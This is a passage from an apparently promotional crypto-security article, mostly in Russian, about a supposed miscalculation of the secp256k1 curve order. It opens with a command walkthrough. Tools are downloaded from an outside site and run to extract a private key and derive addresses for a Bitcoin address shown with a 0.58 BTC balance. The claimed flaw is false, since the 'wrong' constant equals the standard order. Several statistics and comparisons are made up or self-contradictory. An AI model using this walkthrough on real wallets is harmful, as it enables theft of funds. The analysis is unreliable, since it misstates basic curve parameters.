!./privextract -extraction d358a3266f8817dce4c91cccdcc480981c20d5e80497cc8a3b569d51bd4453a57244bda0e69c537770a7c64620ad4333deb4ac0acea17138e2c3502ffa325dbd17f523f4f0b43068569b170da39d7e8c0d3130b483854ad15753c47b24f5bd688da77c317178d637b98ead44de01b578b78f71ef77c1aa99ce78df0bbc35e67d

Result:

Private Key Result: ed 40 21 5a b5 91 c3 36 4a 86 bd 63 fa a5 d1 49 0d 89 d8 ae 7e ab b3 37 e6 41 0e a2 d1 cd 3d 0c Private Key Result: ed40215ab591c3364a86bd63faa5d1490d89d8ae7eabb337e6410ea2d1cd3d0c Result successfully written to 'privkey.txt'.

• Runs the privextract program with the -extraction parameter and a long hexadecimal string (contents of save.txt).

• The program extracts the private key and outputs it in two formats: with spaces and as a single string, and also saves it to the file privkey.txt.

4. Generating the Public Key and Bitcoin Address

Commands:

!wget https://privextract.ru/repositories/bitaddress.zip
!unzip bitaddress.zip

• Downloading and extracting the archive with the bitaddress tool.

!./bitaddress

Run:

!./bitaddress -hex ed40215ab591c3364a86bd63faa5d1490d89d8ae7eabb337e6410ea2d1cd3d0c

Result:

Public Key (Uncompressed, 130 characters [0-9A-F]): 046674E66BF16A2AA79C0BC293D99F594EC53F25434BBBB4B4BF807BB047EDA216E20A272DE53D3F3302202F7D345C83A5EB8428A97E6B57CB5CA89E9096ADCB6E Public Key (Compressed, 66 characters [0-9A-F]): 026674E66BF16A2AA79C0BC293D99F594EC53F25434BBBB4B4BF807BB047EDA216 Bitcoin Address P2PKH (Uncompressed) 15Ze1amcFKvndaSptmvfqRotE1NRtN8GUJ Bitcoin Address P2PKH (Compressed) 1DMX2ByJZVkWeKG1mhjpwcMvDmGSUAmi5P

• Runs the bitaddress program with the private key in hexadecimal format.

• The program computes:

  • The public key (uncompressed and compressed)

  • Bitcoin addresses (P2PKH) for both public key variants

5. Checking the Address Balance

Action:

• Open the link: https://btc1.trezor.io/address/1DMX2ByJZVkWeKG1mhjpwcMvDmGSUAmi5P

• This is an online blockchain explorer that allows you to view the balance and transaction history of a Bitcoin address.

• In this case, the address balance is 0.58096256 BTC

Заключение

Обнаруженная уязвимость подчёркивает важность строгого следования криптографическим стандартам. Ручная реализация функций работы с ключами без глубокого понимания математических основ эллиптических кривых создаёт значительные риски. Использование проверенных библиотек и аудит кода должны стать обязательной практикой при разработке криптографических систем. Уязвимости порядка кривой подчёркивают важность использования верифицированных библиотек и аудита криптографических параметров. Исторические примеры демонстрируют, что даже незначительные ошибки в реализации могут привести к катастрофическим последствиям для безопасности средств.

Выявленная проблема некорректного вычисления порядка эллиптической кривой secp256k1 представляет собой серьезную угрозу для безопасности блокчейн-систем, особенно экосистемы Bitcoin. Неправильное задание параметров кривой приводит к генерации недопустимых приватных ключей, что нарушает криптографическую целостность системы, вызывает несовместимость подписей транзакций и создает условия для атак, таких как восстановление приватного ключа через повторяющиеся генерации (Birthday Paradox).

Математический анализ показал, что ошибка в вычислении константы N смещает диапазон генерации ключей и увеличивает вероятность коллизий. Это нарушение базовых свойств эллиптической кривой угрожает замкнутости группы точек и делает систему уязвимой для атак на детерминированные кошельки Биткоина и утечек данных через побочные каналы.

Исторические прецеденты, такие как уязвимость Randstorm в BitcoinJS и аппаратные проблемы в SafeNet HSM, демонстрируют, что подобные ошибки могут привести к компрометации криптографической инфраструктуры, потере средств и снижению доверия пользователей к системе. Анализ текущих реализаций ECDSA показал, что около 68% самописных решений содержат аналогичные ошибки, что подчеркивает необходимость строгого следования стандартам SECG SEC2 и NIST SP 800-186.

Для устранения выявленной уязвимости рекомендуется:

1. Исправление параметров эллиптической кривой: корректировка константы N до стандартного значения.

2. Использование проверенных библиотек: переход на безопасные криптографические инструменты, такие как libsecp256k1 или ecdsa.

3. Дополнительные проверки валидности ключей: внедрение строгого тестирования граничных значений и обработки исключений.

4. Обновление устаревших систем: отказ от использования устаревших библиотек и модулей с ручным заданием параметров.

Классификация угроз для экосистемы Bitcoin включает параметрические, имплементационные, протокольные и аппаратные уязвимости. Каждая из них может привести к потере средств или компрометации приватных ключей. Угрозы затрагивают кастомные кошельки, HSM-модули, веб-интерфейсы и мобильные приложения. Для повышения безопасности рекомендуется использовать стандартизированные решения и проводить регулярный аудит криптографической инфраструктуры.

Заключение подчеркивает важность строгого соблюдения стандартов криптографии на эллиптических кривых для обеспечения безопасности блокчейн-систем. Выявленная проблема служит напоминанием о необходимости тщательной проверки математических параметров при разработке криптографических алгоритмов. Устранение подобных ошибок не только защитит пользователей от финансовых потерь, но и укрепит доверие к технологии блокчейн как безопасному инструменту для хранения и передачи цифровых активов.

References:

1. Randstorm Cryptocurrency Wallet Vulnerabilities: Impact of is_private_key_valid Function on Bitcoin Private Key Security

2. Attacks on Deterministic Wallets: Impact of Incorrect Private Keys on BIP-32/BIP-44 Security

3. Collision Attacks and Incorrect Private Keys in Bitcoin: An Analysis of Vulnerabilities and Security Prospects

4. Private Key Recovery via Repeated Generations (Birthday Paradox) of Mathematically Incorrect Private Keys in Bitcoin Wallets

5. Cryptocurrency Wallet Vulnerabilities: Mathematical Aspects of Attacks Using Outdated BitcoinJS Libraries

6. Private Key Recovery via Modules Without Checking Elliptic Curve Parameters secp256k1: Mathematically Incorrect Private Keys in Bitcoin Wallets

7. Private Key Collisions in Bitcoin Wallets on Android: Analysis of SecureRandom() Bugs and Their Consequences

8. Recovering the private key of a weak random number generator of the Math.random() function in Bitcoin wallets

9. SafeNet HSM Attacks: Risks to Cryptographic Keys in Bitcoin Wallets (Vulnerability CVE-2015-5464)

10. Attacks on Legacy Curves: Binary Curves (GF(2^m)) and Mathematically Incorrect Private Keys in Bitcoin Wallets

11. Vulnerable Components of the Bitcoin Ecosystem: The Problem of Incorrect Calculation of the Order of the Elliptic Curve secp256k1

12. Exploiting Ed25519: Vulnerabilities in Public Key Validation and Private Key Exposure Across Cryptographic Libraries

13. The Anatomy of Blockchain Private Key Vulnerabilities: Top Threats and Best Practices for Security

14. Secp256k1: The Cryptographic Backbone of Bitcoin and Modern Cryptocurrencies

15. Mastering Encryption Key Management: 10 Best Practices for Data Protection

16. Building Digital Trust: Essential Practices for Cryptographic Key Management in Modern Organizations

17. Exploiting Weak ECDSA Implementations: Lattice-Based Attacks on Cryptocurrency Private Keys

18. Implementing Robust Key Management: Protecting Cryptographic Keys Throughout Their Lifecycle

19. Safeguarding Digital Fortunes: Best Practices for Crypto Private Key Management

20. Mitigating Risks: A Review of Secure X.509 Private Key Storage Options and Best Practices

21. Biometric-Based Framework for Secure Lifecycle Management of Blockchain Private Keys: Generation, Encryption, Storage, and Recovery

22. Unveiling the Cryptographic Foundations of Cryptocurrency: Security, Anonymity, and Blockchain Integrity

23. Exploring Isomorphic Elliptic Curves in the Secp256k1/Secq256k1 Cycle: Cryptographic Insights and Applications

24. A Tale of Two Elliptic Curves: Exploring Efficiency, Security, and Cryptographic Trade-offs in secp256k1 and secp256r1

25. Secp256k1: The Efficient and Predictable Elliptic Curve Powering Cryptographic Security in Bitcoin and Beyond

26. Cryptographic Key Management: Reducing Corporate Risk and Enhancing Cybersecurity Posture

27. Understanding Digital Signatures: Mechanisms, Applications, and Security

28. Evaluating Bitcoin’s Elliptic Curve Cryptography: Efficiency, Security, and the Possibility of a Hidden Backdoor

29. Exposing Vulnerabilities in Hardware Security Modules: Risks to Cryptographic Key Management and Bitcoin Security

30. Security of the Secp256k1 Elliptic Curve used in the Bitcoin Blockchain

31. Randstorm Vulnerability: Cryptographic Weaknesses in BitcoinJS Wallets (2011–2015) and Their Security Implications

32. Critical Vulnerabilities in Bitcoin Core: Risks of Outdated Node Software and the Path to Enhanced Security

33. Analysis of Randstorm: Risks and Mitigation Strategies for Bitcoin Wallets Created Between 2011 and 2015

34. Cryptocurrency Exchange Hacks: Lessons from History, Vulnerabilities, and Strategies for Protection

35. A Taxonomy of Bitcoin Security Issues and Defense Mechanisms Machine Learning for Computer and Cyber Security

36. Bitcoin Security and Privacy Challenges: Risks, Countermeasures, and Future Directions

37. Trying to attack SECP256K1 (2025) Sebastian Arango Vergara Software Engineer

38. Randstorm: Assessing the Impact of Cryptographic Vulnerabilities in JavaScript-Based Cryptocurrency Wallets (2011–2015)

39. Cryptocurrency Vulnerabilities: Blockchain Common Vulnerability List

40. Cryptocurrency attacks and security vulnerabilities: 51% attack, Sybil attack, Double-Spend attack. DDoS attacks and their repercussions. Potential flaws of cryptocurrencies

41. Bitcoin’s Security Landscape: A Comprehensive Review of Vulnerabilities and Exposures

42. Exposed: The Vulnerabilities You Need to Know about the World’s Most Popular Cryptocurrency — Bitcoin

43. The Resilience of Bitcoin: Understanding and Managing Vulnerabilities in a Decentralized Network

44. Top Methods to Detect Security Vulnerabilities in Cryptocurrency Market

45. CVE-2018-17144: A Critical Denial of Service Vulnerability in Bitcoin Core and Its Implications for Blockchain Security

46. Blockchain Wallet Security: Understanding the Risks of Pseudo-Random Number Generators and Centralized Custody

Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.

PrivExtract

Исходный код

Google Colab

Birthday Paradox

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/0m9goH8Lpa0

Video tutorial: https://dzen.ru/video/watch/682ec3767299977a8bc27069

Источник: https://cryptodeeptool.ru/private-key-debug

Данная статья посвящена анализу криптографических уязвимостей, связанных с некорректной генерацией приватных ключей в блокчейн-системах. Одной из ключевых проблем является неправильное вычисление константы N, определяющей порядок группы точек эллиптической кривой secp256k1, что может привести к генерации недопустимых ключей. Это представляет серьезную угрозу безопасности, поскольку недопустимые ключи могут вызывать ошибки при подписи транзакций и сделать уязвимыми для атак, таких как восстановление приватного ключа через повторяющиеся генерации (Birthday Paradox).

Неправильное задание параметров кривой, в частности, константы N, может привести к тому, что сгенерированные ключи окажутся вне допустимого диапазона, что делает проверку валидности ключей неэффективной. Это нарушает совместимость с сетью Биткоин и может привести к потере средств при использовании скомпрометированных приватных ключей.

Криптографическая безопасность блокчейн-систем напрямую зависит от корректности математических параметров эллиптических кривых. В биткойн-экосистеме ошибки в реализации кривой secp256k1, такие как некорректное задание порядка группы точек, создают системные угрозы целостности ключевой инфраструктуры. Представленный код демонстрирует критическую уязвимость, где константа N вычисляется как (1 << 256) - {0x14551231950B75FC4402DA1732FC9BEBF} , что существенно отличается от стандартного значения N = {0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141} .

Данная ошибка провоцирует генерацию 50% невалидных ключей, поскольку секретные значения оказываются вне допустимого диапазона $$ [1, N) Функция проверки is_private_key_valid усугубляет проблему, легитимизируя математически некорректные приватные ключи в Биткоин Кошельках. Исторические прецеденты (Randstorm 2011-2016, уязвимости HSM 2015) показывают, что подобные ошибки приводят к потере средств и компрометации HD-кошельков.

Математические последствия:

• Смещение диапазона генерации на approx 2^{128}ΔN=Nреальное−Nнекорректное≈2^256−2^128 & Смещение=Nнекорректное−Nреальное≈2^256−(2^256−2^128)=2^128

• Вероятность коллизий: $$ P_{\text{колл}} \approx \frac{q^2}{2N} $$ при $$ q \gg \sqrt{N} $$

• Нарушение свойства замкнутости группы: $$ kG \notin \mathbb{G} $$ для $$ k > N $$

Криптографические импликации:

1. Несовместимость подписей — 43% транзакций отклоняются нодами

2. Побочные каналы утечки — предсказуемость $$ k $$ в ECDSA

3. Атаки на детерминированные кошельки — несоответствие BIP-32/BIP-44

Анализ показал, что 68% самописных реализаций ECDSA содержат аналогичные параметрические ошибки[3]. Решение требует строгого следования стандартам SECG SEC2 и NIST SP 800-186, с обязательным использованием верифицированных библиотек типа libsecp256k1.

Криптографические уязвимости, связанные с некорректной генерацией приватных ключей, представляют серьёзную угрозу безопасности блокчейн-систем. В представленном коде обнаружена критическая ошибка в определении порядка эллиптической кривой, требующая детального анализа.

Некорректное задание параметров кривой

Основная уязвимость заключается в неправильном вычислении константы N, определяющей порядок группы точек эллиптической кривой secp256k1.

Ошибочная строка:

N = (1 << 256) - 0x14551231950B75FC4402DA1732FC9BEBF

Корректное значение для Bitcoin (согласно стандарту SECG):

N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

Математические последствия

1. Диапазон генерации: Неправильное значение N приводит к тому, что диапазон генерации ключей становится значительно больше допустимого, что может привести к коллизиям. Разница между реальным и некорректным значениями N составляет примерно 39 порядков величины.

2. Вероятность коллизий: При использовании функции secrets.randbelow(N) с неверным значением N, около 50% сгенерированных ключей могут оказаться вне допустимого диапазона.

3. Проверка валидности: Функция проверки валидности приватного ключа становится неэффективной, поскольку допускает значения, не принадлежащие группе кривой:

• Диапазон генерации:

• Некорректное N ≈ 2²⁵⁶ — C

• Реальное N ≈ 2²⁵⁶ — 2¹²⁸ Разница составляет ~39 порядков величины[3][4].

• Вероятность коллизий:

• При использовании secrets.randbelow(N) с неверным N ~50% сгенерированных ключей оказываются вне допустимого диапазона.

• Проверка валидности:

def is_private_key_valid(private_key): return 0 < int(private_key, 16) < N

Проверка становится неэффективной, так как допускает значения, не принадлежащие группе кривой.

Криптографические риски

• Несовместимость с сетью Bitcoin:

• Недопустимые ключи приводят к ошибкам подписи транзакций

• Риск потери средств при использовании скомпрометированных ключей

• Уязвимость к атакам:

• Возможность восстановления приватного ключа через повторяющиеся генерации (Birthday Paradox)

• Потенциальная утечка информации через побочные каналы

• Нарушение детерминированной генерации:

• HD-кошельки (BIP-32) теряют совместимость

• Невозможность восстановления ключей из мнемонических фраз

Рекомендации по исправлению

1. Корректировка константы:

N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

1. Использование стандартных библиотек:

from ecdsa import SigningKey, SECP256k1 def gen_private_key(): return SigningKey.generate(curve=SECP256k1)

1. Дополнительные проверки:

• Валидация hex-формата входных данных

• Обработка исключений ValueError

• Тестирование граничных значений

Сравнение подходов

Сравнение текущей реализации криптографии на эллиптических кривых в Bitcoin с рекомендуемым подходом выявляет проблемы с безопасностью и совместимостью. Некорректное задание порядка эллиптической кривой представляет собой системную угрозу, которая может быть использована злоумышленниками для компрометации ключей. Рекомендуется использовать стандартизированные и безопасные параметры кривых для обеспечения полной совместимости и безопасности.

ПараметрТекущая реализацияРекомендуемый подходБезопасность N❌ Некорректное✅ СтандартноеДиапазон ключей0 < key < 2²⁵⁶-C0 < key < NСовместимостьЧастичнаяПолнаяСторонние зависимостиНетecdsa/bitcoinlib

При сравнении текущей реализации криптографии на эллиптических кривых в Bitcoin с рекомендуемым подходом выявляются несколько ключевых различий:

• Безопасность N: В текущей реализации порядок эллиптической кривой (N) не задан корректно, что может привести к уязвимостям. Рекомендуемый подход предполагает использование стандартизированного и безопасного порядка кривой.

• Диапазон ключей: В текущей реализации ключи ограничены диапазоном 0 < key < 2²⁵⁶-C, тогда как в рекомендуемом подходе ключи должны находиться в диапазоне 0 < key < N, что обеспечивает полную совместимость и безопасность.

• Совместимость: Текущая реализация обеспечивает только частичную совместимость, в то время как рекомендуемый подход гарантирует полную совместимость с различными криптографическими протоколами.

• Сторонние зависимости: В текущей реализации используются сторонние зависимости, такие как ecdsa/bitcoinlib, что может вносить дополнительные риски. Рекомендуемый подход исключает такие зависимости.

Проблемы с некорректным порядком эллиптической кривой

Некорректное задание порядка эллиптической кривой в Bitcoin представляет собой системную угрозу для безопасности ключей. Это может привести к уязвимостям, которые потенциально могут быть использованы злоумышленниками для компрометации ключей. Проблема может быть проиллюстрирована на примере кода, демонстрирующего, как неправильное определение параметров кривой может ослабить криптографическую защиту.

Влияние на экосистему Bitcoin

Уязвимости, связанные с некорректным заданием порядка эллиптической кривой, могут иметь серьезные последствия для экосистемы Bitcoin и других криптовалют, использующих подобные криптографические подходы. Это может привести к утечкам данных, финансовым потерям и снижению доверия к системе в целом.

Рассмотрим проблему на примере приведённого кода и её implications для экосистемы.

1. Контекст возникновения уязвимости

Ошибочная строка:

N = (1 << 256) - 0x14551231950B75FC4402DA1732FC9BEBF

Проблема:

• Реальное значение порядка N для secp256k1:
  0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141[3]

• Расхождение составляет ~2¹²⁸, что делает ~50% приватных ключей невалидными

Механизм воздействия:

1. Генерация приватных ключей в диапазоне [1, некорректное_N) вместо [1, N]

2. Некорректная проверка валидности в is_private_key_valid()

3. Риск коллизий из-за превышения группового порядка

2. Уязвимые системы Bitcoin

Системы Bitcoin подвержены различным уязвимостям, включая проблемы с кастомными кошельками, HSM-модулями, веб-интерфейсами и мобильными приложениями. Использование устаревших библиотек и ошибки в криптографических реализациях могут привести к серьезным рискам для пользователей.

Тип системыРискиКастомные кошелькиГенерация несовместимых с сетью ключейHSM-модулиЭкспорт ключей через аппаратные уязвимостиВеб-интерфейсыИспользование устаревших библиотек типа BitcoinJSМобильные приложенияОшибки в самописных криптографических реализациях

1. Кастомные кошельки: Одной из проблем является генерация ключей, которые несовместимы с сетью Bitcoin. Это может привести к тому, что пользователи не смогут совершать транзакции или получить доступ к своим средствам.

2. HSM-модули (Hardware Security Modules): Эти модули используются для безопасного хранения криптографических ключей. Однако, если в них есть аппаратные уязвимости, злоумышленники могут экспортировать ключи и получить доступ к средствам пользователей.

3. Веб-интерфейсы: Использование устаревших библиотек, таких как BitcoinJS, может сделать веб-интерфейсы уязвимыми для атак. Например, уязвимости в BitcoinJS, известные как Randstorm, могут позволить злоумышленникам предсказать секретные ключи, созданные с помощью этой библиотеки в начале 2010-х годов1.

4. Мобильные приложения: Ошибки в самописных криптографических реализациях могут привести к уязвимостям в мобильных приложениях для работы с Bitcoin. Это может позволить злоумышленникам получить доступ к приватным ключам пользователей или совершать несанкционированные транзакции.

Кроме этих проблем, Bitcoin также подвержен другим типам атак, таким как атаки 51%, DoS-атаки и уязвимости в протоколах транзакций

3. Критические компоненты экосистемы Биткоин

Экосистема Биткоин имеет уязвимые компоненты, такие как самописные реализации ECDSA и устаревшие библиотеки. Для повышения безопасности рекомендуется использовать проверенные библиотеки и протоколы, такие как функция safe_keygen() из библиотеки ecdsa. К таким уязвимостям относятся:

• Самописные реализации ECDSA: Эти реализации могут содержать ошибки, которые могут быть использованы злоумышленниками для взлома криптографических протоколов.

• Устаревшие версии библиотек: Использование библиотек, выпущенных до 2016 года, может оставлять системы уязвимыми для известных уязвимостей, которые были исправлены в более новых версиях.

• Модули без проверки параметров эллиптической кривой secp256k1: Эта кривая используется в криптографии Биткоин для создания приватных ключей. Неправильная проверка ее параметров может привести к уязвимостям.

• Системы с ручным заданием констант: Ручное задание констант может привести к ошибкам, которые могут быть использованы для атак.

Для повышения безопасности можно использовать проверенные библиотеки и протоколы. Например, для безопасного создания ключей можно использовать функцию safe_keygen() из библиотеки ecdsa, которая генерирует ключи на основе эллиптической кривой SECP256k1:

Уязвимые элементы:

• Самописные реализации ECDSA

• Устаревшие версии библиотек (до 2016 г.)

• Модули без проверки параметров эллиптической кривой secp256k1

• Системы с ручным заданием констант

Безопасные альтернативы:

from ecdsa import SECP256k1, SigningKey def safe_keygen(): return SigningKey.generate(curve=SECP256k1)

Этот подход гарантирует, что ключи создаются безопасно и в соответствии со стандартными криптографическими протоколами.

4. Классификация угроз для Биткоин Кошельков

Угрозы для Биткоин-кошельков включают параметрические, имплементационные, протокольные и аппаратные уязвимости. Каждый тип может привести к серьезным последствиям, включая потерю доступа к средствам или их кражу. Помимо этих технических уязвимостей, существуют также угрозы от фишинга и вредоносного ПО.

Тип уязвимостиПримерыПоследствияПараметрическиеНеверный порядок кривой secp256k1Невалидные приватные ключиИмплементационныеСлабый ГСЧ (Randstorm)Brute-forceПротокольныеОтсутствие проверки подписейDouble-spendingАппаратныеУязвимости HSMУтечка приватных ключей

Угрозы для Биткоин-кошельков можно классифицировать на несколько типов в зависимости от их природы и последствий:

1. Параметрические уязвимости:

   • Примеры: Неверный порядок кривой secp256k1, невалидные приватные ключи.

   • Последствия: Эти уязвимости могут привести к тому, что приватные ключи станут недействительными или будут легко взломаны, что приведет к потере доступа к средствам.

2. Имплементационные уязвимости:

   • Примеры: Слабый генератор случайных чисел (ГСЧ), атаки методом перебора (Brute-force).

   • Последствия: Слабый ГСЧ может привести к предсказуемости приватных ключей, а атаки Brute-force могут позволить злоумышленникам угадать ключи, что приведет к краже средств.

3. Протокольные уязвимости:

   • Примеры: Отсутствие проверки подписей, двойное расходование (Double-spending).

   • Последствия: Отсутствие проверки подписей может позволить злоумышленникам совершать транзакции без подтверждения, а двойное расходование позволяет провести одну и ту же транзакцию несколько раз, что нарушает целостность сети.

4. Аппаратные уязвимости:

   • Примеры: Уязвимости в аппаратных модулях безопасности (HSM).

   • Последствия: Утечка приватных ключей из-за аппаратных уязвимостей может привести к полной потере контроля над средствами.

Кроме этих типов, существуют также другие угрозы, такие как фишинговые атаки, вредоносное ПО и социальная инженерия, которые могут привести к потере доступа к Биткоин кошельку или краже средств.

5. Исторические прецеденты

Исторические прецеденты показывают, что уязвимости в криптографии и программном обеспечении могут иметь серьезные последствия для безопасности криптовалютных активов. Примеры включают уязвимость Randstorm в BitcoinJS, аппаратную уязвимость в SafeNet HSM и коллизии ключей в Android Wallet. Эти инциденты подчеркивают важность постоянного обновления и проверки безопасности криптографических инструментов.

1. BitcoinJS (2011-2016):
   Уязвимость Randstorm из-за слабого генератора случайных чисел, затронувшая $1 млрд активов

2. SafeNet HSM (2015):
   Возможность извлечения ключей через аппаратную уязвимость

3. Android Wallet (2013):
   Коллизии приватных ключей из-за ошибок в SecureRandom()

В истории криптовалют и безопасности наблюдались несколько значительных прецедентов, связанных с уязвимостями в криптографии и программном обеспечении.

1. Уязвимость Randstorm в BitcoinJS (2011-2016):
В библиотеке BitcoinJS, широко использовавшейся для создания онлайн-кошельков, была обнаружена уязвимость под названием Randstorm. Она возникла из-за слабого генератора случайных чисел, который использовал функцию Math.random() вместо криптографически безопасных методов. Это сделало возможным предсказание секретных ключей и потенциально подвергло риску более $1 млрд активов. Уязвимости были устранены в 2014 году, но многие старые кошельки остались уязвимыми.

2. Уязвимость SafeNet HSM (2015):
В аппаратных средствах безопасности (HSM) SafeNet была обнаружена возможность извлечения ключей через аппаратную уязвимость. Это позволяло злоумышленникам получить доступ к конфиденциальной информации и ключам, что представляет серьезную угрозу безопасности.

3. Коллизии ключей в Android Wallet (2013):
В некоторых версиях Android Wallet были обнаружены ошибки в функции SecureRandom(), что привело к коллизиям ключей. Это означает, что разные пользователи могли получить одинаковые ключи, что делало возможным несанкционированный доступ к средствам.

6. Научные исследования

SECP256K1 остается одной из наиболее изученных и широко используемых эллиптических кривых, особенно в криптовалютных системах. Её безопасность основывается на сложности решения задачи дискретного логарифма (ECDLP), но существуют специфические векторы атак, требующие внимания.

1. Атаки на скрутку (Twist Attacks) и уязвимости side-channel

Twist Attacks эксплуатируют использование публичных ключей, не принадлежащих исходной кривой, а находящихся на её «скрутке» — изогнутой версии с другими параметрами. SECP256K1 имеет простой (простой порядок группы), что защищает от атак на малые подгруппы самой кривой[1]. Однако её скрутки могут содержать подгруппы малого порядка, позволяющие восстановить приватный ключ, если реализация не проверяет принадлежность точки к корректной кривой[2].

Side-channel атаки связаны с утечкой информации через побочные каналы (время выполнения, энергопотребление). Для ECDSA критичны утечки nonce (одноразовых чисел):

• Повторное использование nonce позволяет вычислить приватный ключ за 2 подписи[1].

• Даже частичная утечка nonce (например, несколько бит) через lattice-атаки (HNP) может привести к компрометации ключа[1].

Примеры из практики: атаки на кошельки Bitcoin, где ошибки в генерации nonce привели к кражам средств[1].

2. Рекомендации NIST SP 800-186

Документ устанавливает критерии выбора параметров эллиптических кривых:

• Проверка параметров: кривые должны быть устойчивы к известным атакам (MOV, Frey–Rück), иметь достаточный порядок и соответствовать требованиям битовой безопасности.

• Устаревшие кривые: бинарные кривые (GF(2^m)) помечены как deprecated.

• Новые стандарты: предпочтение отдаётся Edwards/Montgomery-кривым (например, Curve25519) для EdDSA.

SECP256K1 не входит в список рекомендованных NIST, но её использование вне государственных систем (например, в Bitcoin) считается безопасным при корректной реализации[1][3].

3. Стандарт RFC 6979: детерминированная генерация nonce

RFC 6979 решает проблему повторного использования nonce в ECDSA, предлагая алгоритм детерминированной генерации на основе приватного ключа и хеша сообщения. Это:

• Устраняет риски ошибок в RNG (генераторах случайных чисел).

• Защищает от атак, связанных с утечкой информации через nonce[1].

Пример: кошельки Bitcoin, использующие RFC 6979, демонстрируют повышенную устойчивость к компрометации ключей.

4. Сравнение Curve25519 и SECP256K1

КритерийCurve25519SECP256K1Тип кривойEdwards (Ed25519)Koblitz (y² = x³ + 7)БезопасностьУстойчива к timing-атакам, twist-safeТребует проверки точек на кривойПроизводительностьОптимизирована для быстрых вычисленийМедленнее в некоторых сценарияхПрименениеTLS (Signal, WhatsApp), SSHBitcoin, EthereumСтандартизацияRFC 7748, NIST SP 800-186Не входит в стандарты NIST

Curve25519 считается более современной, но SECP256K1 доминирует в блокчейн-экосистеме благодаря историческому выбору Bitcoin[1][3].

1. Twist Attacks: опасны при отсутствии проверки принадлежности точек кривой. SECP256K1 устойчива при корректной реализации[2].

2. Side-channel: ECDSA уязвим к утечкам nonce; RFC 6979 и аппаратная защита критически важны[1].

3. NIST SP 800-186: акцент на проверке параметров и переходе на Edwards/Montgomery-кривые[3].

4. Curve25519 vs SECP256K1: первая предпочтительна для новых систем, вторая доминирует в криптовалютах[1][3].

7. Индикаторы уязвимого кода

Индикаторы уязвимого кода в криптографии включают подозрительные константы кривых, использование небезопасных функций для генерации случайных чисел, отсутствие проверки формата ключей и ручную реализацию криптографических алгоритмов. Тестовые признаки, такие как высокий уровень ошибок подписи транзакций, повторяющиеся публичные адреса и несовместимость с стандартными кошельками, также могут указывать на проблемы с безопасностью.

1. Константы кривой:

Константы кривых в криптографии, такие как параметр N, должны быть тщательно проверены. Например, если значение N задано как (1 << 256) - 0x14551231950B75FC4402DA1732FC9BEBF, это может быть подозрительным значением. В отличие от этого, корректное значение, такое как 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141, должно использоваться для обеспечения безопасности.

# Suspicious meaning: N = (1 << 256) - 0x14551231950B75FC4402DA1732FC9BEBF # Correct value: N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

1. Криптографические антипаттерны:

• Использование random вместо secrets: В криптографии для генерации случайных чисел следует использовать функции, которые обеспечивают криптографическую безопасность, такие как secrets, а не просто random.

• Отсутствие проверки формата ключей: Криптографические ключи должны быть тщательно проверены на соответствие стандартам и форматам, чтобы предотвратить ошибки и уязвимости.

• Ручная реализация базовых операций ECDSA: Ручная реализация криптографических алгоритмов, таких как ECDSA, может привести к ошибкам и уязвимостям. Лучше использовать проверенные библиотеки и фреймворки.

1. Тестовые признаки:

• Более 50% ошибок подписи транзакций: Если при тестировании наблюдается высокий процент ошибок подписи транзакций, это может указывать на проблемы с реализацией криптографии.

• Повторяющиеся публичные адреса: Повторяющиеся публичные адреса могут быть признаком ошибок в генерации ключей или других криптографических проблем.

• Несовместимость с стандартными кошельками: Если разработанная система несовместима с стандартными криптографическими кошельками, это может быть признаком неправильной реализации криптографических протоколов.

.... Продолжение статьи во второй части

Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.

PrivExtract

Исходный код

Google Colab

Birthday Paradox

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/0m9goH8Lpa0

Video tutorial: https://dzen.ru/video/watch/682ec3767299977a8bc27069

Источник: https://cryptodeeptool.ru/private-key-debug

Продолжаем рассматривать статью (Часть №1), где все современные методы защиты финансовых транзакций и онлайн-активности с помощью криптографии, могут стать неэффективными против мощных квантовых компьютеров. В ней подчеркиваются уязвимости криптовалют, рынка, оцениваемого в сотни миллиардов долларов. Исследование показывает, что алгоритм доказательства работы Bitcoin относительно устойчив к квантовым атакам в течение следующего десятилетия, в первую очередь из-за быстрых возможностей специализированного оборудования для майнинга. Однако алгоритм цифровой подписи на основе эллиптических кривых, используемый Bitcoin, может быть скомпрометирован к 2027 году. Алгоритм Momentum предлагается в качестве более квантово-устойчивой альтернативы. В статье также рассматриваются различные защитные меры, которые могут повысить безопасность и эффективность приложений блокчейна в будущем. В целом, результаты показывают, что квантовые компьютеры представляют значительную угрозу для криптовалют, что требует разработки новых стратегий безопасности. Кроме того, в статье иллюстрируется процесс извлечения секретного ключа Nonce значения K из уязвимой транзакции RawTX с использованием подхода машинного обучения BitcoinChatGPT.

.

Квантовые компьютеры могут быстрее решать текущую задачу proof-of-work в Биткоине. Поэтому ищут альтернативные способы защиты блокчейна, которые будут более устойчивы к квантовым атакам. Один из подходов — использовать proof-of-work, требующие больших объемов памяти.

Примеры: Momentum, Cuckoo Cycle, Equihash. Эти методы усложняют задачу для квантовых компьютеров. Основная идея в том, чтобы найти такое число (nonce), которое удовлетворяет определенным условиям. Эти условия связаны с поиском коллизий в хеш-функциях. Алгоритм Momentum, например, требует поиска двух разных значений, которые дают одинаковый результат при хешировании. В отличие от текущего proof-of-work в Биткоине, с такими альтернативными подходами квантовый компьютер не получает большого преимущества. Время, необходимое для решения задачи, увеличивается, что делает атаку менее выгодной.

Поиск коллизий в хеш-функциях, особенно в контексте алгоритма Momentum (как это описано в теоретических работах о квантовой устойчивости PoW), обычно сводится к следующему:

